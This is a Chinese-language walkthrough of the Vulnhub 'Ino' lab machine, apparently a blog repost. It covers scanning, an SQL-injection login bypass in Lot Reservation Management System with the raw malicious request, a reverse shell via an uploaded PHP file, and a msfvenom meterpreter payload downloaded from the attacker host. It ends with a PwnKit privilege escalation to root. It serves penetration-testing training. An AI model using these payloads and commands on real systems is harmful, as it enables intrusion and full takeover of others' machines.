首页 > 系统相关 >Vulnhub之Ino靶机详细测试过程（采用完全不同方法获得Shell以及本地提权）

Vulnhub之Ino靶机详细测试过程（采用完全不同方法获得Shell以及本地提权）

时间：2023-04-16 13:45:27浏览次数：49  
标签：Shell -- kali 56.253 192.168 提权 Ino 2020 root

Ino

识别目标主机IP地址

─(kali㉿kali)-[~/Vulnhub/Ino]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                         
                                                                                                                             
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                             
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:05      1      60  Unknown vendor                                                            
 192.168.56.100  08:00:27:86:38:75      1      60  PCS Systemtechnik GmbH                                                    
 192.168.56.253  08:00:27:f5:7e:8f      1      60  PCS Systemtechnik GmbH

利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.253

NMAP扫描

──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.253 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 00:34 EDT
Nmap scan report for localhost (192.168.56.253)
Host is up (0.00034s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 deb52389bb9fd41ab50453d0b75cb03f (RSA)
|   256 160914eab9fa17e945395e3bb4fd110a (ECDSA)
|_  256 9f665e71b9125ded705a4f5a8d0d65d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:F5:7E:8F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.84 seconds

NMAP扫描结果表明目标主机有2个开放端口:22(ssh)、80（http)

获得Shell

访问80端口，从返回的页面看CMS为Lot Reservation Management System

──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ searchsploit Lot Reservation
-------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                              |  Path
-------------------------------------------------------------------------------------------- ---------------------------------
Lot Reservation Management System 1.0 - Authentication Bypass                               | php/webapps/48934.txt
Lot Reservation Management System 1.0 - Cross-Site Scripting (Stored)                       | php/webapps/48935.txt
-------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

但目前不知道版本，先看一下有无其他目录可利用。

┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ nikto -h http://192.168.56.253
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.253
+ Target Hostname:    192.168.56.253
+ Target Port:        80
+ Start Time:         2023-04-16 00:40:09 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: /lot/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated:  20 error(s) and 3 item(s) reported on remote host
+ End Time:           2023-04-16 00:41:00 (GMT-4) (51 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested


      *********************************************************************
      Portions of the server's headers (Apache/2.4.38) are not in
      the Nikto 2.1.6 database or are newer than the known string. Would you like
      to submit this information (*no server specific data*) to CIRT.net
      for a Nikto update (or you may email to sullo@cirt.net) (y/n)?

会被自动重定向到/lot目录。

用Gobuster工具无法识别目录：

──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ gobuster dir -u http://192.168.56.253/lot/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.js,.sh,.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.253/lot/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              php,html,js,sh,txt
[+] Timeout:                 10s
===============================================================
2023/04/16 00:46:35 Starting gobuster in directory enumeration mode
===============================================================
Error: error on running gobuster: unable to connect to http://192.168.56.253/lot/: Get "http://192.168.56.253/lot/": dial tcp 192.168.56.253:80: connect: connection refused


┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ searchsploit -m php/webapps/48934.txt
  Exploit: Lot Reservation Management System 1.0 - Authentication Bypass
      URL: https://www.exploit-db.com/exploits/48934
     Path: /usr/share/exploitdb/exploits/php/webapps/48934.txt
    Codes: N/A
 Verified: True
File Type: ASCII text
Copied to: /home/kali/Vulnhub/Ino/48934.txt


                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ cat 48934.txt 
#Exploit Title: lot reservation management system 1.0 - Authentication Bypass
#Date: 2020-10-22
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip
#Version: V1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1: Open the URL http://localhost:8081/lot-reservation-management-system/admin/login.php

Step 2: use payload ' or 1=1 limit 1 -- -+ for both username and password.


Malicious Request:::

POST /lot-reservation-management-system/admin/ajax.php?action=login HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 71
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/lot-reservation-management-system/admin/login.php
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id

username='+or+1%3D1+limit+1+--+-%2B&password='+or+1%3D1+limit+1+--+-%2B

You will be login as admin of the application.

用绕过语句，

http://192.168.56.253/lot/admin/

用户名处： admin' or 1=1 --

密码处： admin' or 1=1 --

可以绕过管理后台。

在System Settings，可以上传shell.php文件

从而在Kali Linux上得到了目标主机反弹回来的shell

┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ sudo nc -nlvp 5555                                         
[sudo] password for kali: 
listening on [any] 5555 ...
connect to [192.168.56.206] from (UNKNOWN) [192.168.56.253] 40798
Linux ino 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64 GNU/Linux
 05:59:36 up 26 min,  0 users,  load average: 0.00, 0.21, 0.60
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@ino:/$ cd /home
cd /home
www-data@ino:/home$ ls -alh
ls -alh
total 12K
drwxr-xr-x  3 root root 4.0K Oct 10  2020 .
drwxr-xr-x 18 root root 4.0K Oct 27  2020 ..
drwxr-xr-x  2 ppp  ppp  4.0K Dec  5  2020 ppp
www-data@ino:/home$ cd ppp
cd ppp
www-data@ino:/home/ppp$ ls -alh
ls -alh
total 24K
drwxr-xr-x 2 ppp  ppp  4.0K Dec  5  2020 .
drwxr-xr-x 3 root root 4.0K Oct 10  2020 ..
lrwxrwxrwx 1 root root    9 Dec  5  2020 .bash_history -> /dev/null
-rw-r--r-- 1 ppp  ppp   220 Oct 10  2020 .bash_logout
-rw-r--r-- 1 ppp  ppp  3.5K Oct 10  2020 .bashrc
-rw-r--r-- 1 ppp  ppp   807 Oct 10  2020 .profile
-rw-r--r-- 1 ppp  ppp    33 Dec  5  2020 local.txt
www-data@ino:/home/ppp$ cat local.txt
cat local.txt
f29cea45f473ebfa834885c4ff70ec1a

这样就得到了用户flag.

提权

┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.206 LPORT=6666 -f elf -o escalate.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: escalate.elf
                                                                                                                              
                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/Ino]
└─$ python -m http.server   
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

利用msfvenom工具生成payload,然后将escalate.elf上传至目标主机/tmp目录

www-data@ino:/tmp$ wget http://192.168.56.206:8000/escalate.elf
wget http://192.168.56.206:8000/escalate.elf
--2023-04-16 06:06:32--  http://192.168.56.206:8000/escalate.elf
Connecting to 192.168.56.206:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 207 [application/octet-stream]
Saving to: 'escalate.elf'

escalate.elf        100%[===================>]     207  --.-KB/s    in 0s      

2023-04-16 06:06:32 (65.6 MB/s) - 'escalate.elf' saved [207/207]

www-data@ino:/tmp$ chmod +x escalate.elf
chmod +x escalate.elf

在Kali Linux启动handler

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set LHOST 192.168.56.206
LHOST => 192.168.56.206
msf6 exploit(multi/handler) > set LPORT 6666
LPORT => 6666
msf6 exploit(multi/handler) > run

在目标主机的shell中运行./escalate.elf

从而得到meterpreter

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.56.206:6666 
[*] Sending stage (1017704 bytes) to 192.168.56.253
[*] Meterpreter session 1 opened (192.168.56.206:6666 -> 192.168.56.253:44636) at 2023-04-16 01:07:39 -0400

meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > search suggester

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester

利用local_exploit_suggester找到用于提权的漏洞利用模块

[*] 192.168.56.253 - Valid modules for session 1:
============================

 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
 2   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.                                                                                                        
 3   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.

利用第1个模块实现提权

meterpreter > shell
Process 1409 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
cd /root
ls -alh
total 28K
drwx------  3 root root 4.0K Dec  5  2020 .
drwxr-xr-x 18 root root 4.0K Oct 27  2020 ..
lrwxrwxrwx  1 root root    9 Dec  5  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-------  1 root root 3.5K Oct 26  2020 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4.0K Oct 27  2020 .ssh
-rw-------  1 root root   33 Dec  5  2020 proof.txt
cat proof.txt
21bae0a12690199cde7a65bff57723a5

从而拿到了root shell和root flag

标签：Shell,--,kali,56.253,192.168,提权,Ino,2020,root
From： https://www.cnblogs.com/jason-huawen/p/17323168.html

相关文章

  • shell(一) -- 变量作用领&命令替换&位置参数
    变量作用域num=10#定义全局变量exportnum#定义全局变量为环境变量bash#进入子进程exit#退出子进程 命令替换begin_time=$(date)//系统时间赋值给begin_time参数begin_time=$(date+%s)#系统时间戳，赋值给begin_time。$()只在batchshell中有效，反引号可在多种shel......
  • 红帽认证RedHat-RHCSA shell的基本应用用户和组管理网络配置和防火墙管理笔记汇总
    shell命令概述Shell作用：命令解释器介于操作系统内核与用户之间，负责解释命令行获得命令帮助内部命令help命令的“--help”选项使用man命令阅读手册页命令行编辑的几个辅助操作Tab键：自动补齐反斜杠“\”：强制换行快捷键Ctrl+U：清空至行首快捷键Ctrl+K：清空至行尾快捷键Ctr......
  • Shell特殊用法
    1、${1:-}怎么理解$1是函数的第一个参数看替换的定义，${varname:-word}，如果varname存在且非null，则返回其值；否则，返回word。用途：如果变量未定义，则返回默认值。上述替换中的word是空，即，如果1没有定义，就返回空所以，${1:-}的意思就是说，如果函数有第一个参数，就返回这个参数，如果没有，就返回......
  • 理解shell
    理解shellshell不单单是CLI，而是一种复杂的交互式程序。1.shell的类型当你登录系统时，系统启动什么样的shell程序取决于你的个人用户配置。在/etc/passwd文件中，用户记录的第7个字段中列出了该用户的默认shell程序。只要用户登录某个虚拟控制台终端或是在GUI中启动终端仿真器，默认......
  • shell字符串
    8shell字符串详解没有引号、单引号、双引号区别：单引号：只能存字符串，变量无效。并且里面不能再出现单引号双引号：变量有效，可以出现多个双引号支持转义没有引号：变量有效，但需要连接在一起 获取字符串长度：${#name} 9字符串连接#!/bin/bashname="Shell"url="http://c.bia......
  • 骗分记录（1）-INOH Round 1
    这场比赛算是骗分的最高境界了——排名#16！首先看T1。第一眼总司令。得到\(10\)pts。但作为骗分高手，不可能就此结束。于是继续。注意到Sub0\(T=3\)。每一组数据只有\(2\)种情况Yes和No。所以一共只有\(8\)种情况。根据测试发现测试点#1\(n=8\)，于是再枚举答案，得到\(2......
  • Shell $命令详解
    5Shell特殊变量$0:脚本文件名$n(n>=1):第几个参数$*:所有参数$@:所有参数$#:参数个数$$:进程ID 6.$*与$@区别不加“”没有区别，都表示所有的参数。加了“”区别如下$*：所有参数是个整体$@：每个参数是个整体#!/bin/bashecho"printeachparamfrom\"\$*\""for......
  • powershell下哪个才能正确的安装exe文件?
    Start-Process-FilePath"D:\360Downloads\software\WPS-Office_11.1.0.13703.exe"-VerbrunAs-ArgumentList'/s','/v"/qn"'Start-Process-FilePath"D:\360Downloads\software\WPS-Office_11.1.0.13703.exe"......
  • Shell中的控制语句
     任何复杂结构的程序都可以由顺序、分支、循环三种结构实现。  Shell中的控制语句主要分为两大部分：一个是条件测试与判断语句，另一个是循环结构的控制语句。条件控制语句 1)if语句 ①无分支条件语句：if-then结构if[condition]  then   commands   ……......
  • shell命令--字符串截取
    shell截取字符串通常有两种方式：截取指定长度的字符串和截取指定模式的字符串。1.截取指定长度的字符串这种方式除了需要指定起始位置还需要指定截取长度。按起始位置可以分为从左边开始或者从右边开始。a.从左边开始截取${string:start:length}其中，string是要截取的字符......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99